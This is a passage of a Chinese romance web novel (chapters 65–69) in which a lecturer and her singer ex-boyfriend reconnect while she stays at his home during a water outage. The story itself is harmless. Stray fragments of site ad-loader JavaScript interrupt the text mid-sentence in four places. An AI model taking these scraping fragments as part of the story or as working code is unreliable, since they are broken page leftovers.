粉丝倒也没太失望,最后只要了张合影:“帅哥,你能帮我和乔老师拍一张吗?” “……?”被无视了很久的何舟泽也没料到自己会有这么一天,不由得失笑。 他压低了声音,特意改变声线道:“行。” 到底是公众场合,停留太久还是有暴露的风险。好在粉丝没多纠缠,连声道谢后,忽然问了句:“乔老师,这是你的男朋友吗?”指的是何舟泽。 “……不是,是我朋友。”乔之连忙否认,很快便寻了个借口离开。 等两人都到了车上,何舟泽脱下帽子与口罩,乔之这才发现他脸上挂着难以抑制的笑容。 她奇怪地问:“你笑什么?” 何舟泽摇摇头没解释,但嘴角的弧度不减,像是遇到了什么极好的事情。 乔之不再追问。 车子缓缓驶出停车场。 星光慢步走入凡间,最后碎在了城市的霓虹灯之中。 隐秘的心事藏匿在夜色里。 乔之忽然想到刚刚那位粉丝的问题,不久前沈教授也问了个很类似的。她们都问她,何舟泽是不是她的男朋友。 不知为何,她的心里暗自有些高兴。 他们俩分手前大半年,何舟泽就已经正式签约出道,并且上了几档节目。那时候学校里常常有人给她冠以“何舟泽的女朋友”的头衔,似乎这就是她唯一的称谓。 说实话,她心里其实并不太舒服。这样的称呼让她觉得自己仿佛成为了别人的附属品,每次出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 场都要依赖真正的主角。 乔之不知道何舟泽对于这样的事情有何感受,于是问道:“如果别人总是以‘乔之的’……”说到这,她又觉不妥,紧急改口,“以‘某某的男朋友’称呼你,你会感到不舒服吗?” 何舟泽显然已经听到了改口前的内容,故作思考的姿态,嘴里的话却没落下一秒:“如果是‘乔之的男朋友’,我只会既荣幸又开心。” 他趁着红灯的空档,转过来看乔之,神情像是在玩笑但又有些认真:“所以乔老师什么时候能让我转正?我已经时刻待命了。” 乔之径直忽略了后一句,犹豫后坦白:“你刚出道那会儿,学校里不时有人会以‘何舟泽的女朋友’的身份来议论我。说实话,那时候我有点困扰,也……不太高兴。” 何舟泽沉默了,他敛起了笑。 乔之从来没和他说过这些事,他大意疏忽了。 其实何舟泽在出道早期有过类似的忧虑,他害怕自己成为公众人物后会给乔之带来不必要的烦恼,进一步影响到她的个人生活。可是乔之每一次都只跟他说:何舟泽,你要好好走下去,别放弃自己的音乐梦想。 无论何时,她都鼓励他坚持下去,勇敢地走想走的路。于是他光顾着一路向前,在无形中忽略了很多细节。 现在想来,她确实常出现在与他有关的校园论坛的帖子里,至始至终都被迫与他绑在一起,被推到话题中心,成为被羡慕的对象。可是那些人从来都不知道乔之本人是怎么样的,不知道她是一个那么好、那么闪耀的人。 他才应该被众人羡慕。 何舟泽想,因为他天然拥有着某种优待,所以他未曾切身体会过乔之的境地。这一刻,他终于领悟到了她那时候的言外之意。 那天在车里,乔之哭着说:“何舟泽,你怎么能够明白,我努力了这么久,不是为了成为某某的另一半。” 原来是这个意思。原来她为此这么的困扰,而他一直都没真正明白。 何舟泽轻声道:“对不起,我从来都不知道。” 说着,他找了个位置停下来,像是要与乔之推心置腹地聊一聊。 他看着乔之,认真地说:“我知道自己有太多好运,不曾经历过你的烦恼和挣扎,所以我很抱歉让你承受了这么多压力。我以后……会更加努力地去理解你。” 乔之听到他突如其来的诚恳道歉,竟不知道该说些什么。 “乔乔,你千万不要怀疑自己,你的光辉从未被谁遮盖过。在爱你的人眼中,你就是最夺目的存在。成为这束光的注脚,是我最大的幸运。” 他要看见她高飞,飞到全世界都能看见的地方。 他一脸郑重,嘴上说着一些文诌诌的词汇。乔之忽然就笑出了声:“何舟泽,你是在写歌词吗?这就是你追我的方式?” 她已不再是多年前那个才刚刚找到方向的女孩,当然也不再耿耿于怀。 何舟泽见她用玩笑消解从前的误会,也跟着笑说:“你要是这么理解的话,也行。” 66.第六十六章 一晚上乔之的心情都不错,到家后她干劲满满地又评阅了好几篇论文,顺道把积攒一天的邮件也都处理了。 在满满当当的邮件列表里,她忽然瞅见一个熟悉的名字:Kylie Fung——她博士期间的室友。 回国后因为网络问题,乔之和她已不常联系,只偶尔在节假日或彼此生日通过邮件联络感情。 最近并没有什么重要日子,乔之想不到Kylie写邮件的理由。 她抱着疑惑的心情打开正文。 “Jo,最近好吗?我前两天收拾房间的时候发现了一本《小妇人》,似乎是我在搬家前误拿了你的书。如果你希望我寄还的话,请给我一个地址。非常抱歉!对了,我最近换了一份新工作,之后可能会搬到西雅图……” 乔之的出国行李中只有一本书,就是当年乔希送她的英文原版《小妇人》。她读了很多遍,连精装硬壳封皮都快被翻破了,最后又裹了几层书皮。 现在想来,其实她一直就很在乎乔希,所以她才会将她送的东西时常带在身边。 可是她太会掩饰自己的感情,直到现在方才有所领悟。 博士毕业那年,她不慎丢失了这个礼物,为此她还难过了很长一段时间。 Kylie搬出去的时间比她早半个月,走前打包了五六箱行李。现在看来原是被她不小心带走了,怪不得乔之当时将自己的房间翻了个底朝天都没找着半个影子。 乔希留给她的东西本就不多,这本书更是具有特别的意义。乔之意外得知这个失而复得的好消息,当即就给Kylie发送了邮寄地址。 她想,今天果然是美好的一天。 - 《海洋动物行为生态学》安排在考试周最后一天下午,几乎算是全校最晚结束考试的科目之一。 乔之上午出门前无意中翻出了一顶陌生的帽子。藏蓝色的鸭舌帽,上面画着一个她不认识的logo。字母设计得张牙舞爪,独具风格——这显然不是她的。 她回忆了好半天,终于想起上次“同味素”乐队录完节目后,为了掩人耳目,何舟泽亲手为她戴上了这顶帽子。 记忆瞬间如如潮水般复现。 何舟泽垂眸看过来的眼神,他无意扫过的指尖的温度。 有关他的画面似乎总是比其他时刻更加清晰。 何舟泽走前没说什么时候会再回江临,乔之担心自己到时会把这件事给忘了,想到下午的考试,决定拜托程青筠转还给他。 她找出一个纸袋,将帽子装了进去。 等考试结束后,乔之叫住了即将离开的程青筠。 她寻了个无人之处,将那顶鸭舌帽从包里拿出来:“青筠,这顶帽子……是你表哥的。方便的话,可以麻烦你帮我转交给他吗?” 不知为何,这话一说出口似乎有些微妙的暧昧。 程青筠满脑子都是刚刚没写完的最后一道论述题,一时没反应过来,下意识应道:“哦哦好的。” 等帽子到了她的手上,她才忽然意识到刚刚乔之说了什么。 ……这是她表哥的帽子?那为什么会在乔老师手上?! 程青筠因为考试而郁闷的心情一扫而空,眼睛里马上燃起了小火苗。 她又把帽子推了回去,眨眨眼道:“啊!老师你还是自己还给他吧。我明天就直接回老家了,寒假可能见不到他。” 这么说着,她在心里暗自给自己点了个赞:表哥这不得好好感谢她! 乔之一愣,问道:“他不回家过年吗?” 程青筠摇摇头:“他今年要参加春晚,估计直接留在京市了吧。” 乔之已经很多年没认真看过春晚,自然不知道何舟泽已经连上了好几年。 “……那他是一个人过年吗?”这话一问出口,她又觉不妥,立马换了个话题,“那我再找时间还给他吧,祝你一路顺风!寒假在家有空可以看几篇我上次发你的文章。” 程青筠听见放假还要学习竟没有丝毫的不满,注意力全放在了前一个问题上:“是啊,他真的很可怜!这些年好像都是一个人过年。” 她说话时候的表情夸张,逗得乔之笑出声。 她心里清楚她在暗示什么,配合道:“会有朋友陪他的……我也会。” 程青筠自行挖掘了可以磕的糖,脸上的笑意已经快要溢出来。 她蹦蹦跳跳地跟乔之道别:“我会好好学习的!乔老师,寒假快乐!” 这顶帽子终究还是滞留在了乔之手上。 - 开始放寒假以后,乔之住的教职工公寓陆续有人离开,许多老师都携家带口回了老家过年。 她住的这栋楼是近两年才刚刚完工的,入住的人本来就比徐沐那边几栋要少,这下更是变得冷清起来。 姜永望不久前打电话问她是否要一起过年,但毕竟他们俩之间唯一的关系已经断了,乔之自然是回绝了。好在那边也觉得没那么合适,便没再坚持。 乔之作为江临本地人,眼下因为已没有亲人在世,竟反而成了无家可归的那个。 在国外那些年虽然也没感受到太多浓厚的过年气氛,但除夕夜至少还有三五个中国同学能凑在一起聚餐。大家一起喝点酒,嘻嘻哈哈也能度过一个不错的夜晚。 现在她只是一个人了。 乔之想起程青筠说何舟泽这些年也总是独自过年,她不禁好奇他是如何度过这喜庆又难熬的一天。 没过几天,唯一还留在江临的徐沐突然说自己要提前回家了,临走前把乔之叫到家里吃了顿饭。 她的厨艺很好,炒了两个菜,还做了一个大焖锅。 乔之见她一副要清空冰箱的架势,赶紧拉住她,但最后还是吃得很撑。 “乔老师,还得麻烦你帮我解决这些蔬菜了。”徐沐说着,手上收拾的动作没停下,“你放心,我这都是前两天刚买的。谁知道我妈突然叫我提前回去,丢了太可惜,只能拜托你啦。” 她整理出了整整两大袋瓜果蔬菜,看得乔之一惊,也不敢保证自己能按时解决。 乔之道了声谢,问道:“是家里有什么急事吗?” “哪有什么急事!”徐沐撇撇嘴,“她那是叫我回去相亲呢。我真是服了。” 徐沐比乔之大几岁,至今还没谈过恋爱。她是科研人员,这个年纪单身很正常,但抵不住长辈们的催促,所以她隔三差五就要被安排去参加相亲局。 从这个角度来看,乔之感觉自己倒有些悲哀的幸运。 她孑然一身,不会有谁耳提面命她早点成家立业。 她安慰道:“就当早点回去陪家人也好。” 徐沐点点头,表示认同。 忽然,她“哎”了声,盯着乔之道:“乔老师,你还单身吧?我有个朋友条件挺不错的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,也是今年刚从美国回来。我要不介绍你俩认识认识?” 乔之扶额,徐沐自己烦透了相亲,这会儿竟然又主动给她牵线搭桥。 她推脱:“……我就不用了。” 徐沐累得一身汗,终于收拾完了,正找了把椅子坐下。 她听乔之这话,嗅出了一丝不同寻常的味道:“怎么,你有情况了?” 她捂着嘴惊道:“你不会已经脱单了吧?!” 毕竟乔之之前公开倡导抵制动物表演的事情让他们几个非常震惊,现在她在年轻老师的圈子里已经有个“能干大事”的称号了。她不动声色地突然谈了个恋爱好像也不是什么不可能的事情…… 乔之赶紧打断她天马行空的联想:“还没有。” “‘还’?”徐沐忽然捕捉到了了不得的关键词,叫道,“所以真是有情况了!” 毕竟是搞科研的,细枝末节都不会轻易漏下。这么紧要的字眼自然是呈堂例证。 乔之只能搪塞:“嗯……不是很确定。” 她说这话的时候,脑子里又出现了何舟泽那双笑眼,在面对她时总是泛着盈盈的春光。 说起来,他们又有两个多星期没有见过面了。 徐沐狐疑:“你为什么耳朵红了?” “……” 为了躲过徐沐的连环追问,乔之几乎是落荒而逃。 她悻悻地想:还好徐沐晚上就走了,否则指不定要上门来纠缠着她吃瓜。 她将徐沐留下的蔬菜一一整理好放进冰箱后,随后准备洗个手。可奇怪的是,水龙头只往外滴了几滴可怜的水珠,再没别的反应。 乔之诧异地将家里的水龙头开了个遍,最后终于不得不接受一个悲伤的事实——停水了。 她给物业打了维修电话,那头只是连声道歉:“对不起,您那栋楼的给水系统出了点问题,已经在紧急排查了。” 原来还不只是她家断水。 乔之追问:“大概什么时候能修好?” 对面支吾了半天,犹豫道:“这个……我们也不能保证,可能要一两天……” 他的声音越说越轻,像是怕被业主诘问。毕竟这年头还能断两天的水,实在很离谱。 乔之不由得有些头疼。 家里虽然还备了些大桶的饮用水,但洗澡是远远不够的。不过她还是好声好气地说:“麻烦你们尽快,停水两天实在太影响正常生活了。” “实在不好意思。您那栋楼最近还在的老师应该不多,烦请您委屈委屈,或者先换个地方暂住几天?” 见物业给不了一个准话,又一副打太极的模样,乔之不想再与之纠缠。 她想了想,打开手机准备订个附近的酒店将就两晚。 有一条未读消息显示在微信页面最上方。 【H:还在同事家吃饭吗?】 去徐沐家之前她与何舟泽提过一句。他那时候似乎在忙什么,消息回得很慢,后来她也没再看微信。 这条消息的发送时间,差不多是在两分钟前。 【Jo:已经回家了。不过家里断水,我准备出去住两天[叹气]】 聊天框正上方的“对方正在输入中……”闪了又闪,终于跳出了一条消息:【我今天到江临。要不要来我家住?】 末了,像是要极力说服她似的,对方又补充了一句:【我家的空房间特别多。】 67.第六十七章 乔之提着行李下楼,何舟泽的车早已停在了门口。 他今天开的是那辆银灰色的轿跑,窗玻璃开了一条缝,外面看不见人,但能隐约瞧见少许被斜阳染得金黄的碎发。 乔之从没想过事情会是现在的走向。 她看到何舟泽的邀约,第一反应便是拒绝。虽然他们曾有过更亲密的关系,但同居仍是太暧昧,即便只有两天。 最后他说:【过几天我又要走了,不知道什么时候才能吃上乔老师做的饭[可怜]】 理由充分,态度坦诚,倒让乔之不知道怎么拒绝。 于是便有了眼下的情形。 乔之放好东西坐上车,就看见了何舟泽正咧着嘴笑:“你是连晚上的食材都准备好了吗?” 显然是瞅见了她手中两大袋从徐沐家搬来的东西。 乔之道:“同事提前返乡,我替她清空一下冰箱。” “那我今晚有口福了!”何舟泽说话时的语调上扬,尾音里像是站了只喜鹊。 为了防止他过高期待,乔之打了个预防针:“……其实我也只是一般水平,你别太期待。” “你做的我都喜欢。”他口中好听的话简直是信手拈来。 乔之换了个话题:“你最近还在忙新专辑吗?” 何舟泽闻言,点开车载音响道:“前几天已经制作完成了。我手机上存了几首,你听听看——” 他强调了一声:“全新未发表哦。” 中台的小屏幕上出现了一张深蓝色专辑封面,何舟泽的人物侧影上方有两个手写字:“深潜”。 这是新专的名字。 “……‘深潜’?”乔之喃喃道。 对于她这个从事海洋学研究的科研人员来说,这不是一个陌生的词汇,但她不明白何舟泽选这个名字的用意。 何舟泽解释说:“这些歌的创作时间跨度很大,有很多来自早期没成型的灵感。我觉得这个过程很像是潜水打捞宝藏,所以取了这个名字。” 何舟泽出道七年就已经发了三张高质量专辑,更不论其他单曲。 乔之曾陪他走过籍籍无名,更是清楚他的歌绝不止这些。他是一个很有天赋也非常勤奋的原创音乐人,多年来积攒的灵感和废稿无数。 从前他最喜欢做的一件事便是给乔之分享自己的新灵感。有时只是一个小片段,有时仅是两句歌词。 他偏爱手写,灵光闪现的时候一定会匆匆忙忙记下,在纸上留下几行龙飞凤舞的标记,就连课本上都藏满了各种各样的音符。 乔之的课本有时也不能幸免。 每当她发现上面出现自己看不懂的鬼画符,必定会狠狠地把书丢到他身上,怒道:“何舟泽,你又在我的书上乱写乱画!” 然后何舟泽必定会摇着她的手,可怜道:“乔乔,对不起嘛。我忙着记录灵感,一时没注意到是你的书。” 那会儿他们总在晚饭后散步,走过校园的某处角落时,何舟泽牵着她的手,然后忽然哼起不成段落的歌。更多时候是在那间活动室,乔之会安静地坐在他身边,听他弹唱新的故事。 过去乐队活动室的窗台上常年堆着几叠厚厚的草稿纸,其中大半都出自何舟泽之手。 . 低音鼓点滑入了前奏,第一首缓缓在车厢里铺展开。 何舟泽笑着介绍道:“不过这首是最新的。MV还有乔老师的一份功劳。” 乔之看了眼小屏幕,这首歌与专辑同名。作词作曲都是何舟泽本人,编曲处多写了个英文名:Chris Yan。 是颜叙。 这倒是让她有些惊讶。 这首的MV拍摄的时间在好几个月前,想必编曲肯定要更早,但颜叙前两个月才回国。 她问了句:“你和颜叙经常合作吗?” “不算上次乐队那首,这是第一次。”何舟泽摇摇头,又开了个玩笑说,“他在业内的身价可比我高多了,一般人都合作不上呢。” 他比其他人都要早一点知道颜叙要被派到国内的事。 大概是去年四五月份,他刚开始筹备新专辑时,颜叙主动问他要不要一起合作一首歌。 何舟泽乐于和水平一流的音乐工作室合作,而他们那边也正好需要一块打开国内市场的敲门砖。 乔之认真地侧耳倾听,发现这首歌的旋律格外抓耳,在编曲上翻陈出新。 她开口夸道:“很好听。” 何舟泽得了她一句夸奖,显然很高兴:“我也觉得不错。之后和颜叙的合作机会应该会更多。” 他从来就期待与昔日伙伴并肩同行,即便是不同的方式。 “上次拍的MV也剪好了,晚点你可以看一看——这也算是我们俩的第一次合作。” 乔之想起那次在海洋馆,她亲眼见证了拍摄现场。何舟泽在现场镜头里就已经让人移不开眼,成片只怕是更出彩。 她应道:“好啊。” 新专的几首歌都很有特色,只要听了便会留下深刻的印象。何舟泽大概又要拿年度金曲奖,为他的音乐事业再添一抹光彩了。 就这么一路听着歌,乔之再度来到了那个寸土寸金的地方。 她第一次来这儿是给何舟泽送帽子。 那时候还是初秋,而眼下却已入深冬。小区里的植被虽还青绿,但总归有些萧瑟之意。 不过四五个月的光景,期间发生的事不胜枚举。 何舟泽那一回分明就是故意引她见面,最后她怀揣着尴尬又无措的心情上门。如今再来,乔之的感受已截然不同——至少这次她是心甘情愿的。 进门又是那张宽大的灰色沙发,何舟泽随手将外套脱下,挂在了沙发靠背上。 他从乔之手里接过行李箱:“我先带你去看看房间。” 何舟泽的家确实很大,光是闲置的客房就有好几间。他平时一个人住着难免显得空旷。 乔之这两天临时落脚的房间向阳,有一面明亮的落地窗,此时正在收拢今天最后一点阳光。 她道:“你平时一个人住吗?” 这话一问出口,她便觉得自己多此一举。何舟泽一直单身,家人又不在江临,自然是一个人住。 果然,何舟泽立刻故作可怜道:“是呀,独守空房呢。” 他倚在门边,脚底有一道长长的影子,与乔之的重叠在了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一起,绘出了几块深色。 乔之没好气地笑道:“这么好的房子,别人想住还没机会呢,你不要得了便宜还卖乖。” 何舟泽的眉头微微一动,笑说:“那乔老师考不考虑多住几天?” 乔之知道他这个人在她面前惯来会得寸进尺,于是没理会他:“说好了只做两天晚饭,没有续费这个选项。” 她路过他径直往厨房的方向走,丢下一句:“我要去还债了。” 何舟泽紧随不放地跟她一块进了厨房,献殷勤一般地说:“那我给你打下手。” “你这个债主还挺好心。”乔之笑了声,很自然地往他手上放了一把西芹,开口吩咐道,“那你把这个切了。” “没问题!一定完成任务。”说着,他就麻利地开始处理食材。 两人从没在厨房合作过,但意外地默契十足。何舟泽还真是个合格的助手,每当乔之想要拿什么东西的时候,他一早就备在了手边,随时可以奉上。 何舟泽家的厨房很宽敞,但两个人忙前忙后,不免还是会有碰一起的情况。更别说何舟泽简直像是长在了乔之身上,三步不离地跟着她。 “何舟泽,你可以不用在这儿帮我。”乔之拿着锅铲翻动着锅里的虾仁,试图赶他走。 何舟泽递上调料瓶,争取道:“不行,我还是有用的。” 他最怕乔之将他远远推开,避人千里。所以此刻她自然熟稔地使唤他,他反而觉得欣喜。 两人靠得近,只不过半臂距离。锅里的热油滋滋地冒着烟,油烟机呼呼转着,他的声音仿佛就贴在乔之耳边。 乔之的耳根似是被油烟热红了,有些发烫。 她飞快地从何舟泽手里拿过椒盐罐子,手指有一瞬的相接。余光里,她瞥见他笑意盈盈的模样,像是中奖了一般压不住嘴角。 何舟泽的情绪总是很好读懂,比如此刻他乐得如疯狂摇尾巴的小狗,也是一只上蹿下跳的麻雀,只差叽叽喳喳地叫出声。 乔之忍不住也笑了:“你今天怎么这么高兴?” 她说着,端起平底锅的同时,他已经把碟子在一边放好。 金黄色的椒盐虾仁在盘中码得整整齐齐,袅袅升起的热气裹着一层厚厚的香味。 何舟泽赞叹道:“好香。能吃到这美味的晚餐当然要高兴啦!” 在他口中,这仿佛媲美米其林三星。 刚刚这么一会儿,从他嘴里蹦出的夸奖已不下十句,若不是乔之向来冷静自持,此刻早就被他捧得飘飘然了。 乔之转身擦了个手,推着他出去:“你别再夸我了。我们去吃饭吧。” 餐桌上摆好了三菜一汤,样样色香俱全。 何舟泽想了想,又从酒柜里取出一瓶红酒。 他给乔之倒了半杯:“今天是个好日子,庆祝一下!” 乔之纳闷:“你到底是遇到什么好事了?” 他一整天都眉飞色舞的。 何舟泽坐下来,笑说:“很多啊。新专完成了,还吃到了乔老师亲自下厨做的饭菜!” 当然,最重要的还是这间屋子来了一位他期盼已久的访客,他再也不是孤身一人了。 68.第六十八章 饭后,何舟泽翻出了一本厚厚的相册,邀请乔之一起看照片。 乔之惊讶道:“……你还在用这本相册吗?” 毕竟再厚的相册也有用完的一天,而她七八年前就知道它的存在。 何舟泽的“念旧”是多方面的,既是忘不了旧情,也是怀旧。比如他至今仍保持着手写灵感的习惯,再比如他会像这样收集照片。 何舟泽摇摇头:“它已经暂停更新很久了。” 他把这本相册留在了江临,前些年他本人其实并不常回来。 翻开第一页,是两张何舟泽身穿军训服的照片。有一张是他坐在树荫下的侧脸,明明只是偶然抓拍的,却比别人的写真还要出挑。 这张照片当时被放在了江大公众号的某篇军训回顾推文上,一经发布就引起了很多人的关注,校园论坛上询问他个人信息的帖子层出不穷。 这本相册里的照片大多是何舟泽自己拍摄的,但这张显然是他从公众号上下载的。 他好看的照片并不缺这一张,乔之以前就奇怪他为什么会特意打印存留。 于是她问:“你怎么会留下这张照片?” “哦……这个啊。”何舟泽拉长了尾音,神秘地笑道,“因为那天是我第一次和你说话。” “?”乔之不解。 在她印象中,两人第一次说话是在开学后的那个雨天。 何舟泽说:“你当然不记得啦,你那时候明明脚后跟都被磨出血了,却满脑子只想着早点回方阵训练,更没心思搭理我。” 被拍下这张照片前不久,那个要强的女孩已经重返队列,何舟泽却默默记下了她的名字。 他提到“磨破脚跟”这个关键词,倒是让乔之忽然想起了一些模糊的画面。 军训中后期的某天,她因为鞋子泡了水,临时借了学姐的救场。然而学姐的训练鞋闲置了一整年,鞋面已经老化得极其僵硬,乔之只走了没一会儿就被磨破了脚后跟,疼得不行。 她隐隐约约记得当天队里有个男生中暑,也在树荫下休息,但她没注意对方是谁就回了队伍。 原来那个人就是何舟泽,他们竟然这么早就说过话了。 何舟泽手托着下巴看她,嘴角的弧度未变:“我那时候真的太好奇了,大家都想着法子偷懒,你却偏要带伤训练。我还以为你是什么卷怪。” 后来他才知道,她为了不亏欠自己,做什么都要用尽十分力气。 乔之笑了笑:“确实是想选上排头兵。” 军训最后走方阵时的排头兵可以额外加分,乔之不想错过这个机会,况且她确实够格。不过代价是后来她都痛到麻木了,晚上回去后才发现脚后跟处贴的创口贴已经浸满了血。 第二张照片记录了何舟泽被教官点名唱歌的场景。 何舟泽自我调侃道:“嚯,这个是我在江大的初舞台。” 他那时比现在更活泼张扬,教官时不时就要把把他叫出来表演节目,到后来整个连就没有人不认识他。 相册继续往后翻,乔之出现的频率越来越高,后来渐渐又多了姚朔、夏安语和颜叙他们几个。 他们第一次约会、第一次出去旅游、一起看烟花……所有珍贵的瞬间被存留在了这本厚厚的相册里,多得都快数不清。最后,时间线停在了毕业那一年。 乔之看着眼前这张陌生的照片,怔了怔:“这是毕业典礼那天?你不是没回来吗……?” 照片聚焦在一个身穿学士服的女孩身上,周遭都模糊了。她站在人群中间,无意识地回身,帽穗随动作微微飘动着。虽没有正对镜头,但她脸上的神情却被记录得一清二楚。 ——这是二十二岁时的乔之。 乔之不记得自己有拍过这样一张照片。而且……何舟泽那天并没有参加毕业典礼,他连毕业证都是同学代领的。 何舟泽的指腹慢慢拂过照片,轻声道:“是。我偷偷赶回来了……虽然没有赶上仪式,但最后见了你一面。” 那时候他其实已经和经纪人闹翻了,一早就买了从京市回江临的机票。可惜上天没有眷顾他,飞机因为机械故障延误了两个小时。等他到学校时,毕业典礼已经结束了。 这是乔之出国前,他最后一次见她。 乔之的手颤了颤,问:“……那你怎么没来找我呢?” 何舟泽垂眸,声音仍是很轻:“我不敢打扰你。” 那时候,只一眼他就看见了人群中间的乔之——她那么年轻,意气风发,浑身充满着即将迈入人生新阶段的朝气,而他却是前路未卜。 平生第一次,何舟泽丧失了面对她的所有勇气。 所以最后他只给她发了一条匿名短信,祝她毕业快乐、未来光明。 乔之沉默了一瞬,忽然笑了声:“天之骄子原来也会有胆怯的时刻。” 何舟泽抬头,也跟着笑了,否认道:“我不是。我不能什么都做到最好,所以面对你的时候,会有很多很多顾虑。” 说完,他合上了相册,问:“新专里有一首歌和毕业那天有关,我当时写了很久都没能让自己满意,直到今年才终于完成。你想听听看吗?” 乔之点点头:“好啊。” 然后便起身跟着他去了琴房。 何舟泽的家里为音乐创作留了很大一块空间,这个房间里配备了许多种乐器和专业设备。上个月乐队四人就是在这里写完了那首《明天依旧》。 何舟泽在钢琴旁坐下,乔之才意识到他是准备现场弹唱。 他径直演奏起来。 歌词道尽了主角在喜欢的人面前如何胆怯和犹豫,又如何鼓起勇气向前的心境。 怪不得直到今年他才完成这首歌,因为这分明就是他们的故事,是他长达六年的心路历程。 ——这无疑也是一首情歌。 作为女主角的乔之倚靠在门边,静静地看着坐在钢琴前的何舟泽。他唱歌的时候总是很投入,周遭仿佛会结出一圈淡淡的分割线,任何人都无法踏足却又忍不住靠近。 这样的场景,她既熟悉又陌生。因为她曾见过千万遍,又已别数年。 何舟泽的手指在某一处琴键上停下,琴声消失的瞬间,那一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 圈无形的结界便也无影无踪。 他转过头来,又是那副温柔的笑脸:“你要坐过来吗?” 乔之回过神来:“你是想教我吗?” 就和过去一样。 何舟泽顿了顿,他本意只是想让乔之坐到他身边,但她既然都这么问了,他自然不会错过机会。 于是他的笑更是不加掩饰:“如果你想的话,我乐意之至。” 乔之从前完全没有音乐基础,但她常常陪着何舟泽练习,不知不觉也能识得乐谱,弹一些简单的曲子。 她缓步走到了琴边,然后在他身边坐下。 “你还能读谱吗?” 何舟泽将面前的几张乐谱平整地铺开,乔之勉强还能辨别一些。 她没敢看他:“还能看懂一部分。” 何舟泽道:“那我先带你弹一遍。” 听见这话,乔之的心跳如擂鼓,她想起了无数相似的场景。 那时他常将她环抱在怀中,再用他那双修长的手带着她在琴键上跃动。他身上的淡香总是包裹着她,而她耳边是他的温言细语。 这是乔之最心动的时刻。 “……好。”她的声音压得很低,生怕泄漏了心事。 何舟泽久久没有动作,乔之不明所以地抬头看他,发现他眼里都是不正经的调笑意味。 何舟泽敛了敛神,轻咳一声道:“你不用这么紧张,我不会批评你的。” 他明明看穿了她的无措,却还故意装作不知情。 乔之心里微微一恼,道:“请您赶快赐教吧。” 没想到这一次何舟泽竟然真的是在认真教她,他没有故意靠得很近,也没有任何暧昧的动作。他弹一节,乔之跟一节,好似真是一堂正儿八经的练习课。 等完整弹完一首歌,何舟泽转头看乔之。 他眉头微挑,问:“怎么样?我的教学水平您还满意吗?” 他说话的时候稍稍凑近了一点,乔之不由自主地旁边动了动,手指不小心拨动了一连串琴键。钢琴发出了一阵乱音,像是她当下的心情。 何舟泽诡计得逞一般地笑了:“看来不是很满意。” 说着,他跟着弹了一串低音,竟和乔之方才无意按动的音节一模一样,只不过换了个音高。 低音比高音更具震动感,乔之的心跟着一颤一颤。 她低头道:“何老师的水平很好,我很满意。” 何舟泽见她浑身僵硬,于是便不再逗她。 他起身,顺手拉开了窗帘。 今夜月明星稀,天空纯净得没有一丝杂色。 他忽然想起了多年前的某个雨天,那时他和她在活动室避雨,他为了她弹了一首专属于他们俩的秘密情歌。然后在雷雨声中,他们忘我地接吻,比窗外的狂风还炽烈。 何舟泽再次回到钢琴前,随手弹了一段曲子。 乔之觉得有些耳熟,但他没有继续弹下去。 何舟泽微微抬起头,看向窗外的月亮——和刚刚一样皎洁明亮。 他轻叹:“可惜今天没有下雨。” 69.第六十九章 昨夜何舟泽一句莫名其妙的惋惜竟然在翌日傍晚的时候应验了。 乔之一整天都没有出门,她随身带了电脑,可以在家处理工作上的事情。何舟泽却好像很忙,一大早就出了门。 乔之原本预料的尴尬相处并没有出现,他恰当地靠近,又给她留足了个人空间。 天色骤然暗下来,窗外的树木摇晃着,空气里有一种山雨欲来风满楼的气息。 待会儿就要下雨了。 乔之给何舟泽发了条微信:【今晚你回家吃饭吗?】 何舟泽百忙之中只抽空回了一个字:【回。】 乔之又问了问具体的时间,但那边没再回复。 想了想,她决定做几个容易加热的菜式,这样他回来时也能很快就吃上饭。 这是她给他做的第二顿饭,也是欠他的最后一顿了。此后她或许再也找不出什么正当理由与他见面,但乔之心里有种莫名的确信——何舟泽一定会找很多别的借口,这件事上他向来是高手。 乔之的时间算得正好,等何舟泽到家,已经是七点一刻,最后一道菜刚刚上桌。 天色已经完全暗下来了,屋外仍是狂风大作,看不见却能听到树叶的“沙沙”声。奇怪的是,雨竟还是没有落下。 何舟泽丢下外套就往厨房里跑。他在外工作了一天,脸上却不见丝毫疲色。 他一边洗着手,一边给足情绪价值:“好幸福,一回家就能吃到新鲜饭菜。乔乔辛苦了!” 乔之面上对他翻着花样的夸奖无动于衷,但心里藏着没明说的高兴。 她找了个别的话题:“你的新专辑什么时候正式发布?” 她今天在微博上刷到了新专的预告,那张深蓝色的剪影封面已经传得到处都是。不知道是谁透露了专辑里包含了好几首情歌的消息,何舟泽的粉丝兴奋得像是要过年。 何舟泽今天出门就是为了拍摄物料,他长期合作的摄影师这段时间正好在江临接了个大单,抽不出身去京市为他拍摄。何舟泽正愁没理由回江临,得知此事,便直接飞了过来。 摄影师以为何舟泽是为他专程而来的,感动之余为他设计了一组质量极高的物料照片。 这回方鸣也跟着来了,旁人不知道的事,他自是一清二楚。 方鸣一早就揪着何舟泽叮嘱道:“你在江临给我低调一点!”生怕这个祖宗又给他闹腾出什么大新闻。 何舟泽是个很好带的艺人,他业务能力强、努力自律,私人生活更是简单干净,从来都没有什么花边新闻。 方鸣在今年之前一直觉得自己的运气很好,经纪人事业刚起步的时候就与他建立了长期合作的关系,此后更是一路顺水顺水。但他没想到自从那个MV的学术指导开始,何舟泽就跟换了个人似的,想法设法地靠近乔之。之前那副断情绝爱的样子荡然无存。 看在他没有影响工作又痴情多年的份上,方鸣决定睁一只眼闭一只眼——更何况自单干了以后,何舟泽算是他半个老板。 方鸣愤愤地想,我忍! 何舟泽大概不知道方鸣历经了多么复杂的心理斗争,他觉得只要坚持高质量创作就不算愧对自己和粉丝。 听见乔之的问题,他回道:“周日中午十二点。” 想了想,他补充了一句:“所以我周六就要回京市了。” 在江临能停留三五天时间已经是他努力赶进度的结果了,但新歌发布前他还是不得不回去。 这些天他甚至已经在思考将工作室转移到江临的可能性。 